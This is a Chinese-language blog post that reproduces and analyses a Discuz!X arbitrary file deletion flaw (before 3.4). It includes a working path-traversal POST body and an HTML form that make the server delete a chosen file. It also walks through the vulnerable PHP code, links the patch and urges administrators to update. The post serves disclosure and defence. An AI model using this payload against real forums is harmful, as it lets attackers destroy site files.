?

Oct 08 2017

Discuz!X前臺任意文件刪除漏洞重現及分析

首頁 » 漏洞收集 » Discuz!X前臺任意文件刪除漏洞重現及分析   

0×00 概述

9月29日,Discuz修復了一個前臺任意文件刪除的漏洞,相似的漏洞曾在2014年被提交給wooyun和discuz官方,但是修復不完全導致了這次的漏洞。

0×01 影響范圍

Discuz < 3.4 

0×02 漏洞重現

環境:win7+phpstudy+discuz3.2

新建importantfile.txt作為測試

進入設置-個人資料,先在頁面源代碼找到formhash值

http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile

1.png

2.png


可以看到formhash值是b21b6577。

再訪問10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base

Post數據:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=b21b6577

如圖

3.png

執行后

4.png

出生地被修改成要刪除的文件。

最后構造表單執行刪除文件

<form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”>

<input type=”file” name=”birthprovince” id=”file” />

<input type=”text” name=”formhash” value=”b21b6577″/></p>

<input type=”text” name=”profilesubmit” value=”1″/></p>

<input type=”submit” value=”Submit” />

</from>

隨便上傳一張圖片,即可刪除importantfile.txt

5.png

成功刪除importantfile.txt,重現成功!

0×03 修復方案

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

刪除unlink相關代碼。

0×04 漏洞分析

根據補丁,漏洞存在于upload/source/include/spacecp/spacecp_profile.php。

先看第70行

if(submitcheck(‘profilesubmit’)) {

提交1進入這個判斷。

來到220行,補丁前:

6.png

往上看來到:

7.png


可以看出文件上傳成功就可以進入228行的unlink從而刪除指定文件。

現在就看如何控制指定文件,也就是控制$space[$key]這個變量。

繼續往上看來到:

8.png

可以看出space存用戶資料,就可以利用space[birthprovince]存要刪除的文件。

那如何修改birthprovince為指定文件呢,直接post提交就繞過限制了。

總結整個漏洞利用流程:

修改birthprovince->上傳圖片->執行unlink->刪除任意文件

0×05 結語

刪文件……,大家不要亂搞,該補的趕緊補,discuz樹大招風,2014的補丁又不補完全,正是這樣攻與防的不斷博弈,使安全界生機勃勃,妙趣橫生,也使互聯網愈發安全穩固。

0×06 參考資料

https://www.seebug.org/vuldb/ssvid-96608

https://www.seebug.org/vuldb/ssvid-93588

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

https://gitee.com/ComsenzDiscuz/DiscuzX/blob/7d603a197c2717ef1d7e9ba654cf72aa42d3e574/upload/source/include/spacecp/spacecp_profile.php

*本文作者:LSA,轉載請注明來自FreeBuf.COM

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «謹慎能捕千秋蟬(一)——XSS | Bypass D盾_IIS防火墻SQL注入防御(多姿勢)»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖